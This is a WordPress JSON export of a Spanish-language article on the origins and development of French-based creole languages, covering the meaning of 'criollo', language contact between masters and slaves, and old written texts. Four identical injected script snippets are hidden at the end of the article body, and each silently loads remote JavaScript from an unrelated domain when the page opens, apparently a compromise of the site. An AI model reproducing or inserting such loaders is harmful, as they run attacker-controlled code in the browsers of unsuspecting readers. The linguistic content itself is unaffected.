{"id":66669,"date":"2015-09-04T20:41:14","date_gmt":"2015-09-04T18:41:14","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=66669"},"modified":"2025-10-21T22:00:39","modified_gmt":"2025-10-21T20:00:39","slug":"preguntas-en-torno-a-la-genesis-de-las-lenguas-criollas","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2015\/09\/preguntas-en-torno-a-la-genesis-de-las-lenguas-criollas\/","title":{"rendered":"Preguntas en torno a la g\u00e9nesis de las lenguas criollas"},"content":{"rendered":"<p><span style=\"font-size:12px\">Publicado por Marie-Christine Haza\u00ebl-Massieux el June 30, 2011<\/span><br \/>\n&nbsp;<br \/>\n<em>Por Marie-Christine Haza\u00ebl-Massieux, profesora de ling\u00fc\u00edstica en la universidad de Provenza, autor de Textos antiguos en criollo franc\u00e9s del Caribe: historia y an\u00e1lisis (Textes anciens en cr\u00e9ole fran\u00e7ais de la Cara\u00efbe : histoire et analyse), Publibook, 2008.<\/em><br \/>\n&nbsp;<br \/>\n<img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-2442\" title=\"festival cr\u00e9ole de Menton - Photo : Ian Britton (cc)\" src=\"\/wp-content\/uploads\/2684628345_283131a1fc-300x201.jpg\" alt=\"festival cr\u00e9ole de Menton - Photo : Ian Britton (cc)\" width=\"300\" height=\"201\" \/><br \/>\n&nbsp;<br \/>\n<strong>\u00bfQu\u00e9 significa la palabra \u00ab criollo \u00bb?<\/strong><\/p>\n<p>Cabe subrayar la ambig\u00fcedad de la palabra criollo. Es a menudo escuchada como sin\u00f3nimo de \u00ab lengua mixta \u00bb \u2013 por otro lado un concepto dif\u00edcil de definir \u2013 y olvidamos que es primero un adjetivo que caracteriza totalmente todo \u00ab producto \u00bb nacido en las islas de padres venidos de otros lugares: as\u00ed es como se habla por ejemplo de \u00abvacas criollas \u00bb o de \u00ab cerdos criollos \u00bb y por ende de ni\u00f1os criollos (criollos blancos o criollos negros).<\/p>\n<p>Al principio, este t\u00e9rmino no significa pues de ninguna manera \u00ab mestizado \u00bb sino que nos recuerda que los padres\/antepasados no son originarios de la colonia.<\/p>\n<p><strong>Due\u00f1os y esclavos<\/strong><\/p>\n<p>Entre el siglo  XVI y el siglo XVIII, vimos nacer lenguas criollas (lenguas de las poblaciones criollas) en muchas colonias europeas que, seg\u00fan el origen de los colonos, se les llama criollos portugueses, criollos ingleses, criollos franceses\u2026<\/p>\n<p>Los criollos de base francesa nacieron todos en situaciones de contactos ling\u00fc\u00edsticos intensos, haciendo intervenir las lenguas habladas por los due\u00f1os y por los esclavos. Venidos de diversas regiones de \u00c1frica, estos esclavos hablan lenguas muy numerosas que no les permiten comprenderse y ser comprendidos.<\/p>\n<p>Adem\u00e1s, en el transcurso de las d\u00e9cadas, cumplen funciones nuevas y variadas: trabajadores del campo, primero, pero tambi\u00e9n artesanos, obreros especializados en las diferentes \u00e1reas \u00fatiles en la vida de la colonia, lacayos que sirven en la \u00ab grand\u2019case \u00bb e incluso a veces progresivamente liberados, vendedores o negociantes para ocuparse de los negocios del propietario en la ciudad \u2013 lo cual permite explicar la complexificaci\u00f3n y el enriquecimiento progresivo de la lengua local de comunicaci\u00f3n, que sin embargo no suplanta jam\u00e1s completamente al franc\u00e9s en ciertas funciones.<\/p>\n<p>Los no criollos que desembarcan son tambi\u00e9n incitados a aprender el \u00ab hablar de las islas \u00bb que conoce as\u00ed transformaciones r\u00e1pidas. Se convierte en medio de comunicaci\u00f3n para el conjunto de la sociedad (misioneros, due\u00f1os, comerciantes) a medida que \u00e9sta se desarrolla. Y es finales del siglo XVIII que se empieza a designar como \u00ab criollo\u00bb.<\/p>\n<p>Si el origen franc\u00e9s parece a menudo m\u00e1s f\u00e1cil de demostrar en los criollos que la influencia, sin embargo cierta, de las lenguas de los esclavos, es porque:<\/p>\n<ul>\n<li>en la b\u00fasqueda de una lengua de comunicaci\u00f3n diaria com\u00fan entre el due\u00f1o y los esclavos, la dominaci\u00f3n social del due\u00f1o hace que su lengua se imponga como lengua de comunicacion diaria, a manera de franc\u00e9s aproximado que sirve tambi\u00e9n para los intercambios entre esclavos cuando \u00e9stos no tienen una lengua africana com\u00fan;<\/li>\n<li>toda promoci\u00f3n social parece entonces pasar por el franc\u00e9s (ver papel de las mujeres, a la vez criadas, nodrizas y concubinas) y los esclavos intentan adquirir esta lengua en la perspectiva de una liberaci\u00f3n<\/li>\n<li>Los primeros escriptores del idioma local son franc\u00f3fonos y tienden a interpretar hacia el franc\u00e9s que conocen, las formas que oyen en la boca de los esclavos.<\/li>\n<\/ul>\n<p><strong>Los textos antiguos<\/strong><\/p>\n<p>Desde el principio del siglo XVIII en el Caribe, un poco m\u00e1s tarde en el Oc\u00e9ano \u00cdndico, documentos escritos muestran la existencia de lenguas criollas, no muy claramente distintas a\u00fan de una isla a la otra dentro de una zona geogr\u00e1fica espec\u00edfica.<\/p>\n<p>Por otro lado, las lenguas presentes, particularmente las lenguas africanas, no son las mismas en el Caribe y en el Oc\u00e9ano \u00cdndico y esto basta para explicar ya en parte la existencia de diferentes criollos.<\/p>\n<p>Los testimonios escritos de esos tiempos de g\u00e9nesis son preciosos y permiten seguir en el transcurso de los a\u00f1os, luego de los siglos, las evoluciones de estas lenguas: los intercambios, muy rudimentarios al principio, se convierten progresivamente en enunciaciones elaboradas, desarrollando todas las funciones necesarias; la lengua se construye, con los ajustes progresivos que se efect\u00faan con el paso de las d\u00e9cadas para satisfacer la necesidad de comunicar.<\/p>\n<p><strong>La larga maduraci\u00f3n de las lenguas criollas<\/strong><\/p>\n<p>En el transcurso del siglo XIX, vemos fijarse las formas m\u00e1s caracter\u00edsticas de cada criollo. El l\u00e9xico, de base francesa principalmente, sabe acoger nuevas palabras, a menudo de or\u00edgenes africanos diversos, pero tambi\u00e9n el malgache, incluso las lenguas de la India, para los criollos del Oc\u00e9ano \u00cdndico. Y como siempre, las nuevas palabras prosiguen su evoluci\u00f3n, tanto en el plano sem\u00e1ntico como formal, con el pasar de los siglos.<\/p>\n<p>No obstante, lo m\u00e1s caracter\u00edstico y lo m\u00e1s fascinante es ver desarrollarse una gram\u00e1tica original y funcional, nacida precisamente en estas situaciones de contactos ling\u00fc\u00edsticos mientras que cada uno intenta interpretar la lengua del otro. Las unidades gramaticales que se llega a separar y analizar, cuando se quiere intentar ponerlas en contacto con formas atestiguadas anteriormente, aparecen como profundamente transformadas.<\/p>\n<p>A menudo no pueden ser m\u00e1s que muy dif\u00edciles de relacionarse con una lengua m\u00e1s que con otra, debido a la evoluci\u00f3n r\u00e1pida de las formas gramaticales con relaci\u00f3n a las formas lexicales. \u00bfDe d\u00f3nde vienen exactamente los morfemas gramaticales como \u00ab ap \u00bb, \u00ab ka \u00bb (con valor de progresivo), \u00ab ti \u00bb  (pasado), \u00ab k\u00e9 \u00bb  (futuro, que suplanta un \u00ab va \u00bb  de origen), \u00ab i \u00bb (modal o aspectual en reunion\u00e9s), etc.? Las soluciones que consisten en acercar estas formas de formas francesas en uso son seductoras, pero podemos dudar para que sean suficientes.<\/p>\n<p>El an\u00e1lisis sistem\u00e1tico de textos antiguos permite actualizar los caminos de esta evoluci\u00f3n hasta las lenguas criollas modernas \u2013 lenguas completas que permiten decir todo a qui\u00e9n sabe practicarles recurriendo a las formas lexicales y gramaticales que las constituyen.<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Publicado por Marie-Christine Haza\u00ebl-Massieux el June 30, 2011 &nbsp; Por Marie-Christine Haza\u00ebl-Massieux, profesora de ling\u00fc\u00edstica en la universidad de Provenza, autor de Textos antiguos en criollo franc\u00e9s del Caribe: historia y an\u00e1lisis (Textes anciens en cr\u00e9ole fran\u00e7ais de la Cara\u00efbe : histoire et analyse), Publibook, 2008. &nbsp; &nbsp; \u00bfQu\u00e9 significa la palabra \u00ab criollo \u00bb? [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-66669","post","type-post","status-publish","format-standard","hentry","category-otro"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Preguntas en torno a la g\u00e9nesis de las lenguas criollas - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/es\/2015\/09\/preguntas-en-torno-a-la-genesis-de-las-lenguas-criollas\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Preguntas en torno a la g\u00e9nesis de las lenguas criollas - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"Publicado por Marie-Christine Haza\u00ebl-Massieux el June 30, 2011 &nbsp; Por Marie-Christine Haza\u00ebl-Massieux, profesora de ling\u00fc\u00edstica en la universidad de Provenza, autor de Textos antiguos en criollo franc\u00e9s del Caribe: historia y an\u00e1lisis (Textes anciens en cr\u00e9ole fran\u00e7ais de la Cara\u00efbe : histoire et analyse), Publibook, 2008. &nbsp; &nbsp; \u00bfQu\u00e9 significa la palabra \u00ab criollo \u00bb? [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/es\/2015\/09\/preguntas-en-torno-a-la-genesis-de-las-lenguas-criollas\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2015-09-04T18:41:14+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T20:00:39+00:00\" \/>\n<meta name=\"author\" content=\"Sorosoro\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Sorosoro\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/preguntas-en-torno-a-la-genesis-de-las-lenguas-criollas\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/preguntas-en-torno-a-la-genesis-de-las-lenguas-criollas\/\"},\"author\":{\"name\":\"Sorosoro\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\"},\"headline\":\"Preguntas en torno a la g\u00e9nesis de las lenguas criollas\",\"datePublished\":\"2015-09-04T18:41:14+00:00\",\"dateModified\":\"2025-10-21T20:00:39+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/preguntas-en-torno-a-la-genesis-de-las-lenguas-criollas\/\"},\"wordCount\":1013,\"articleSection\":[\"Otro\"],\"inLanguage\":\"es\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/preguntas-en-torno-a-la-genesis-de-las-lenguas-criollas\/\",\"url\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/preguntas-en-torno-a-la-genesis-de-las-lenguas-criollas\/\",\"name\":\"Preguntas en torno a la g\u00e9nesis de las lenguas criollas - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\"},\"datePublished\":\"2015-09-04T18:41:14+00:00\",\"dateModified\":\"2025-10-21T20:00:39+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/preguntas-en-torno-a-la-genesis-de-las-lenguas-criollas\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/es\/2015\/09\/preguntas-en-torno-a-la-genesis-de-las-lenguas-criollas\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/preguntas-en-torno-a-la-genesis-de-las-lenguas-criollas\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/es\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Preguntas en torno a la g\u00e9nesis de las lenguas criollas\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/es\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\",\"name\":\"Sorosoro\",\"url\":\"https:\/\/www.sorosoro.org\/es\/author\/admin\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Preguntas en torno a la g\u00e9nesis de las lenguas criollas - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/es\/2015\/09\/preguntas-en-torno-a-la-genesis-de-las-lenguas-criollas\/","og_locale":"es_ES","og_type":"article","og_title":"Preguntas en torno a la g\u00e9nesis de las lenguas criollas - Sorosoro","og_description":"Publicado por Marie-Christine Haza\u00ebl-Massieux el June 30, 2011 &nbsp; Por Marie-Christine Haza\u00ebl-Massieux, profesora de ling\u00fc\u00edstica en la universidad de Provenza, autor de Textos antiguos en criollo franc\u00e9s del Caribe: historia y an\u00e1lisis (Textes anciens en cr\u00e9ole fran\u00e7ais de la Cara\u00efbe : histoire et analyse), Publibook, 2008. &nbsp; &nbsp; \u00bfQu\u00e9 significa la palabra \u00ab criollo \u00bb? [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/es\/2015\/09\/preguntas-en-torno-a-la-genesis-de-las-lenguas-criollas\/","og_site_name":"Sorosoro","article_published_time":"2015-09-04T18:41:14+00:00","article_modified_time":"2025-10-21T20:00:39+00:00","author":"Sorosoro","twitter_card":"summary_large_image","twitter_misc":{"Escrito por":"Sorosoro","Tiempo de lectura":"5 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/preguntas-en-torno-a-la-genesis-de-las-lenguas-criollas\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/preguntas-en-torno-a-la-genesis-de-las-lenguas-criollas\/"},"author":{"name":"Sorosoro","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917"},"headline":"Preguntas en torno a la g\u00e9nesis de las lenguas criollas","datePublished":"2015-09-04T18:41:14+00:00","dateModified":"2025-10-21T20:00:39+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/preguntas-en-torno-a-la-genesis-de-las-lenguas-criollas\/"},"wordCount":1013,"articleSection":["Otro"],"inLanguage":"es"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/preguntas-en-torno-a-la-genesis-de-las-lenguas-criollas\/","url":"https:\/\/www.sorosoro.org\/es\/2015\/09\/preguntas-en-torno-a-la-genesis-de-las-lenguas-criollas\/","name":"Preguntas en torno a la g\u00e9nesis de las lenguas criollas - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/#website"},"datePublished":"2015-09-04T18:41:14+00:00","dateModified":"2025-10-21T20:00:39+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/preguntas-en-torno-a-la-genesis-de-las-lenguas-criollas\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/es\/2015\/09\/preguntas-en-torno-a-la-genesis-de-las-lenguas-criollas\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/preguntas-en-torno-a-la-genesis-de-las-lenguas-criollas\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/es\/"},{"@type":"ListItem","position":2,"name":"Preguntas en torno a la g\u00e9nesis de las lenguas criollas"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/es\/#website","url":"https:\/\/www.sorosoro.org\/es\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917","name":"Sorosoro","url":"https:\/\/www.sorosoro.org\/es\/author\/admin\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/66669","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/comments?post=66669"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/66669\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/media?parent=66669"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/categories?post=66669"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/tags?post=66669"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}